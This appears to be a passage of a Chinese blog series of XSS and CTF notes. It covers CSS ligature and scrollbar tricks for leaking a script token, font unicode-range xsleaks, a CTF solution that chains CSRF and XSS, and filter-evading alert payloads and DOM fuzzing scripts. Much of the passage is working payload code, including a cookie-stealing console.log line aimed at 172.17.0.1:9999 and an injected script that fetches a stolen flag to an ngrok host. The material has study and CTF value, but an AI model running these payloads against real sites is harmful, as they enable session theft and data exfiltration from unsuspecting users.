现在考虑获取在<script>标签里面的token2。接下来的手段在高版本的chrome也是奏效的(本人测试过chrome-93.0.4577.82 for linux),但似乎Firefox依旧不吃这套。

此练习用到了连字。我们可以借助fontforge程序来生成我们需要的连字。但因为现代浏览器已经不支持SVG格式的字体了,我们可以利用fontforge将SVG格式转换成WOFF(Web Open Font Format)格式,我们可以准备一个名为script.fontforge的文件,内容如下:

1
2
3
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

我们可以用fontforge script.fontforge test.svg这个命令来生成woff文件,下面这段svg代码定义了一种名叫hack的字体,包括a-z这26个0宽度的字母,以及sekurak这个宽度为8000的连字。以下就是test.svg文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<svg>
<defs>
<font id="hack" horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<missing-glyph />
<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/>
</font>
</defs>
</svg>

接着把我们刚刚生成的test.woff文件引入到test.html网页中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<style>
@font-face {
font-family: "hack";
src: url("./test.woff");
/*src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASEAA0AAAAABrQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAC/AAAAMYAAAET2X+UzUZGVE0AAARUAAAAGgAAAByVl+UOR0RFRgAAA8QAAAAhAAAAJABOADlHUE9TAAAENAAAACAAAAAgbJF0j0dTVUIAAAPoAAAASQAAAFrZZNxYT1MvMgAAAYAAAABEAAAAYFXjXMBjbWFwAAACmAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYaLrZjaGhlYQAAAVwAAAAbAAAAJAN8HpVobXR4AAAEcAAAABEAAABwIygAAG1heHAAAAF4AAAABgAAAAYAHFAAbmFtZQAAAcQAAADUAAABZTl44PFwb3N0AAAC8AAAAAwAAAAgAAMAAHicY2BkYGAA4h/3ik3j+W2+MnAzvwCKMNztsNqPTEMBBwMTiAIASD8J3AAAeJxjYGRgYFb4b8EQJe/AAAGMDKhABgA70gIyAAAAUAAAHAAAeJxjYGb8wjiBgZWBg6mLaQ8DA0MPhGZ8wGDIyMTAwMTAyswAA4wMSCAgzTWFwYEhkaGKWeG/BUMUhhoFIGQHAFrKCk14nF2OPU7DQBCFPydO+BV0aVkqqljrLVNS+AAU6a1o5UREtrRJjkELDcfgANScirdmaLI/M988zexb4JZ3CvIqKLk2nnDBg/GUR16NS+0P4xk3fBnPpf+osyivpFyOU5kn3HFvPOWZJ+NSPW/GMxZ8Gs+lf7OlZSNPtu1G8YVIx4m95KQydqd9K2gY6DmOOakj4ghUeOWV7v8zf1UtfWkxKAYxzdAfmyF10YXKu5XLhkq1X+oEH9Ry9pm1bBIHdqN5fjYbso7psBt6V1f+fOQX63YuYnicY2BgYGaAYBkGRgYQcAHyGMF8FgYNIM0GpBkZmICsqv//wSoSQfT/BVD1QMDIxoDg0AowMjGzsLKxc3BycfPw8vELCAoJi4iKiUtIStHaZqIAALdlCJ94nGNgZsALAAB9AAR4nGNkYGFhYGRkZM1ITM5mYGRiYGTQ+CHD9EOW+YcESzcPczcPSzcQsMowxPLLMDAIyDBMEZRh4JRh5BJiYAap5mMQYhArjk+Nz44vjS+KT4zPBpkENg0InBicGVwYXBncGNwZPBg8GbwYvBl8GHwZ/Bj8GQIYAhmCGIIZQhhCGcIYwhkiGCIZohiiGdsZZIDu4eDmExQRl5JVUFbT1NE3MrWwtnN0cffyDQgOl3kqzNcjRk30DYi7RWTkrop283ABAOSCN5AAAHicY2BkYGDgAWIZIGYCQkYGKSCWBkImBhawGAMACZ8AiAAAAHicLYk7CoAwFATnwROD6QxWiifwUqmCEKxy/7h+imWYWQyY2DmwmttFwFXoneexepasxmf6/GXQtp/OyshAZGGWR81IN43bBm8AAAAAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY2BgYGQAglvt+f0g+m6H1X4YDQBL/QcdAAB4nGN+wUA3IO/AwAAAZ5QBSwAAAA==);*/
}
span {
background: lightblue;
font-family: "hack";
}
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://172.17.0.1:9999);
}
</style>
<span id=span>1abc23sekurak123</span>
</body>
</html>

我们能够发现以上网页会呈现出蓝条,左右两边都是123,而abc并没有出现,因为我们将其宽度定义为0,而中间空着的部分(也就是我们定义的连字)就是sekurak字符串。

你会发现直接访问该网页并不会对9999端口发起访问请求,但如果将其置入到另一个网页的<iframe>中,在测试中我们就能够发现9999端口被人访问了。

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<iframe src="http://172.17.0.1/test.html" frameborder="0" width="100px"></iframe>
</body>
</html>

为什么这样能够触发对9999端口的访问呢?我们先来看看那几条奇怪的CSS语句有什么效果。

12

这里的white-space指令设置为nowrap(如果文本比窗口宽度宽,它不会被分成一个新行)是为了强制出现一个滚动条,这就需要我们使用连字来进行配合,否则我们压根看不到滚动条。

13

这里就是给滚动条上色,这部分看似鸡肋,删去就无法成功触发,因为这里必须先添加伪元素--webkit-scrollbar后才能够对其进一步设置。进一步设置就是可用的payload了。

可是我们该如何继续对这个玩意自动化呢?假定此例为var token2 = "7b8a45b8297cf82cc3cefc174c3ae5a1";,那么我们可以检测"7,或者说更具体点token2 = "7这样的内容——其实就是把上面的sekurak修改成"7。具体的东西有点繁杂,可以看这篇文章进行复现,为不让代码占太多,这里就不放相关代码了。

经过测试发现效果还是挺好的。这里有一点需要注意下,就是有缓存,所以一些访问看起来挺多余但事实上却是很有必要的。

14

搞破坏

这个没什么好说的,直接上payload(暴躁++

1
<style>body{display:none}</style>

cookie?

重新回到这个问题,请问我们是否有办法通过注入css来获取cookie?

通过在twitter搜索css xss关键词,有这么一篇推文提供了手段。

1
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)>

然而我们发现并不能将<xss>注入到里面。

似乎并没有能稳定靠单个css完成攻击的方法。

追加练习7 - xsleaks

这里还有一个非常有趣的方法,用到了字体。虽然解决不了问题,但是确实很不错。

首先我们来尝试下面这个对单个字符存在性的攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<style>
@font-face{
font-family:poc;
src: url(http://172.17.0.1:9999/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://172.17.0.1:9999/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://172.17.0.1:9999/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

以上的操作虽然可行,但是有个较大的缺点就是只能提取出单个字符。所以有老哥将它进行了改进,虽然感觉能对解决token2的问题有效,但是看起来还是没有强大到能解决以上的问题。

追加练习8 - iframe SOP

这道pastetastic(源代码在这里)是我目前见到最惊艳的题目了,它综合利用了XSS Auditor覆盖CONFIG、Dom Clobbering重新定义CONFIG和利用<iframe>完成跨域通信这三个技巧。

反正先建议一定要看完这个视频,或者直接研究这个公开的wp。没复现成功(这种复杂程度的XSS复现很搞心态已经没信心了x),在XSS Auditor部分直接被400了,可能谷歌后面对它进行了改进。懒得再画图了,就拿下面这个草稿充数吧。

23

其中个人想让大家关注的是iframe的SOP,在这个视频的49分10秒开始有一个比较清晰的讲解,看一下应该就懂了。

追加练习9 - CSRF

最近做到了TBDXSS,尝试按这篇文章进行复现,但是并没有完全复现出来,兴许是爬虫的问题(非常迷,自己的chrome可以触发但爬虫不行,加了延时也没用,晕)。这里大致描述下思路:

因为有httponlyx-frame-options: DENY这两座大山,所以这里非常取巧地使用了CSRF而不全是XSS(我一直以为是XSS的题所以在绕过以上两点的思路上吊死了xD,菜)。

具体就是让爬虫去访问该js文件的/exp路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let express = require('express');
let app = express();

app.get('/exp', function(req, res) {
res.sendFile(__dirname + '/pb.html');
console.log("----exp----");
});

app.get('/delay', function(req, res) {
setTimeout(()=> {
res.sendStatus(404);
},
7000);
console.log("----delay----");
});

let port = 3000;
let server = app.listen(port);
console.log('Local server running on port: ' + port);

其中的pb.html如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<p>hello world</p>
<form action="https://c734-111-199-65-58.ngrok.io/change_note" id="noteform" method=POST target="_blank">
<textarea id="payload" rows="10" cols="100" name="data" form="noteform"></textarea>
<input type="submit" value="submit">
</form>
<script>
// open new window that has the flag and give it a "name" of "flagWindow"
window.open('https://c734-111-199-65-58.ngrok.io/note', 'flagWindow');

// this POSTs the above form with an XSS note value to read and exfiltrate the flag
// note: we must use \x3C as an alternate form of the "less than" character to avoid
// browser parser confusion inside
payload.value = "\x3Cscript>let flagWindow = window.open('', 'flagWindow'); let flag = flagWindow.document.documentElement.innerText; fetch('http://c734-111-199-65-58.ngrok.io/?flag=' + flag);\x3C/script>";
noteform.submit();

// wait after a 5 second delay to ensure the above POST has completed
// before we reload our XSS payload into *this* page.
</script>
<img src='https://266d-111-199-65-58.ngrok.io/delay' onerror="window.location.href='https://c734-111-199-65-58.ngrok.io/note'">
</body>

可以看到爬虫遇到/exp后就会打开三个新标签页,最后向我们的接受端发送带有flag的GET请求(也就是黑色的那条)。

20

第一个GET /note能够直接在页面上呈现出flag,随后的POST /change_note向这个域提交了POST请求,其中带上了XSS的payload,这意味着我们此时的session(也就是flag)已经被更改了!但是我们第一个页面还没关闭,所以只需要直接请求其中的页面内容就好了。加粗的就是payload所实现的效果。因此在等待一段时间后发起了GET /note请求,这就触发了XSS,接着最后一个请求就把flag带出来了。

一些小技巧

真是让人视野开阔的技巧啊XD

1

如果访问某个较为严格CSP规则的网页的人会打开控制台,我们是否能够成功地完成些操作呢?只需要在XSS注入点注入如下内容:

1
2
3
<script>
console.log("%cHello", `background: url("http://172.17.0.1:9999/?cookie=${document.cookie}`);
</script>

当然其前提是CSP允许script-src 'unsafe-inline';。在现在的linux chrome上依旧存在这个问题。

参考此帖

2

在独孤九剑8的地方我们看到了Function尝试直接调用函数的技巧,其实也可以作为传入字符的手段,虽然有点蠢,但万一要用结果想不到了岂不……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Function`a${`return fromCharCode`}{fromCharCode}``${String}``40`
// ==
(function(a, {fromCharCode}){
return fromCharCode
})(['',''], String)(['40'])
// == '('

x={...eval+'',toString:Array.prototype.shift,length:15}
x+x+x+x+x+x+x+x+x+x+x+x+x
// == 'function eval'

x = new RegExp;
x.valueOf=String.prototype.charAt;
x+''//returns a single /
// == '/'

x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + ""
// == 'A'

x = [RegExp.prototype.source]
x.valueOf = String.prototype.charAt
x + ""
// == '('

x=console
x.valueOf=String.prototype.charAt
x + ""
// == '['

x=console
x.toString = RegExp.prototype.toString
x.valueOf = String.prototype.charAt
x + ""
// == '/'

参考此帖

3

请问触发弹窗的payload可以搞得有多么花里胡哨?下面都是大哥的表演时间。也许不知道他们是怎么搞出这种操作的但至少有可能会在bypass的时候用的上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// following are be replaced via a+o+0+P ...  
var BASE64_PAYLOAD = 'ao0PTA7YWxlcnQoMTMzNykvLwa'
// atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/) == "ýª4=0;alert(1337)//¿"
var JAVASCRIPT = 'javascript'

// empty string
empty=RegExp.prototype.flags

// generate /ao0PTA7YWxlcnQoMTMzNykvLwa/
xx={}
xx.source=BASE64_PAYLOAD
xx.flags=empty
xx.toString=RegExp.prototype.toString

// RegExp.prototype.source == '(?:)'
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty
yy+empty
colon=yy+empty
right=yy+empty

// set javascript url to execute eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))
location=JAVASCRIPT+colon+eval.name+left+atob.name+left+xx+right+right

类似的还有下面这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1'

参考此帖此帖

这里继续展现些之前没用到的花里胡哨的alert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var{constructor} = [];
var{constructor} = constructor;
constructor("alert(1)")();

for(location of["javascript:alert()"]);

({location}={location:"javascript:alert()"})

atob.constructor(atob`YWxlcnQoMSk`)``

atob.constructor(atob(/YWxlcnQoMSk/.source))()

window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window

FUZZ

可能您想的FUZZ和接下来想说的不太一样,盲猜您第一反应就是类似于这样的项目,也就是方便在测试中迅速找到可用的payload。

但如果说您想找到单个有效的解决方案的话,以上这种就可能不太合适。

例1

假定您希望找到形如<tagA>aaa<tagB>bbb</tagB>ccc</tagA>而且希望DOMParser的结果和最终呈现在页面上有所不同的payload的话,以下脚本就是非常好的FUZZ的例子(来源于此视频)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html>
<body>
<script>
const tags = ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "math", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "slot", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "u", "ul", "var", "video", "wbr"]

const parser = new DOMParser();

function compare(html) {
doc = parser.parseFromString(html, "text/html");
htmlA = doc.documentElement.innerHTML;
document.documentElement.innerHTML = html;
htmlB = document.documentElement.innerHTML;
if(htmlA !== htmlB) {
console.log(html)
console.log(`DOMParser: ${htmlA}`)
console.log(`Document: ${htmlB}`)
console.log('---------------------')
}
}

// <tagA> aaa <tagB> bbb </tagB> ccc </tagA>
for(var tagA in tags) {
for(var tagB in tags) {
let fuzz = `<${tags[tagA]}> aaa <${tags[tagB]}> bbb </${tags[tagB]}> ccc </${tags[tagA]}>`;
compare(fuzz);
}
}

</script>
</body>
</html>

效果就像下面这样:

8

例2

这个也是从视频中来的,FUZZ的目的是为了找到一个Str能让<!-- Str -->表现出意料外的行为。

1
2
3
4
5
6
7
8
9
log=[];
div=document.createElement('div');
for(i=0;i<=0x10ffff;i++){
div.innerHTML='<!-- --!'+String.fromCodePoint(i)+'><img>-->';
if(div.querySelector('img')){
log.push(i);
}
}
log

然后发现在chrome里面有一个输出,但是它合情合理。

9

这个能灵活应用的话很可能能找到非常高级的payload。

例3

在逛twitter的时候发现了如下这张图片:

17

这里的结果明显都是fuzz出来的,于是我以位置6为例写了个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body class="activity-stream">
<div id="platform"></div>
</body>

<script>
for(i=0;i<=0xff;i++){
try{
var platform=document.getElementById('platform');
var div=document.createElement('div');
div.innerHTML='<a href="javascript:'+String.fromCodePoint(i)+'alert('+i.toString()+')" id="target">here</a>';

platform.appendChild(div);
var target=document.getElementById("target");
target.click();
platform.removeChild(div);
} catch(e){
console.log(e);
}
}
</script>
</html>

感觉alert相当不优雅,改成console.log又不能够很好地在firefox上运行,也没有什么很好的办法,所以就这样凑合了。

后话

涉及到的有很多内容,干脆给些链接吧。

较全的总结:https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting

同源策略:https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html

javascript跨域:https://www.cnblogs.com/devi1/p/13486507.html

bypassCSP较全的绕过1:https://xz.aliyun.com/t/5084

bypassCSP较全的绕过2:https://xz.aliyun.com/t/7372

bypassCSP某不错的绕过方法:https://xz.aliyun.com/t/5829

特定情况下httponly绕过:https://www.se7ensec.cn/2019/10/26/Xss%E4%B9%8BHttpOnly%E4%B8%8B%E7%9A%84%E6%94%BB%E5%87%BB%E6%89%8B%E6%B3%95/

沙盒子域和沙盒iframe防护:https://www.youtube.com/watch?v=KHwVjzWei1c

DOM Clobbering:https://xz.aliyun.com/t/7329#toc-7

xsleaks:https://xsleaks.dev/

xsleaks-visited:https://mp.weixin.qq.com/s/w2Aa6Wer-WFJQbEkaKWFkg

CSS-XSS:https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense

Amazing payloads1:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

Amazing payloads:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md

其他:https://www.k0rz3n.com/2019/03/05/%E7%88%AC%E8%99%AB%E7%88%AC%E5%8F%96%E5%8A%A8%E6%80%81%E7%BD%91%E9%A1%B5%E7%9A%84%E4%B8%89%E7%A7%8D%E6%96%B9%E5%BC%8F%E7%AE%80%E4%BB%8B/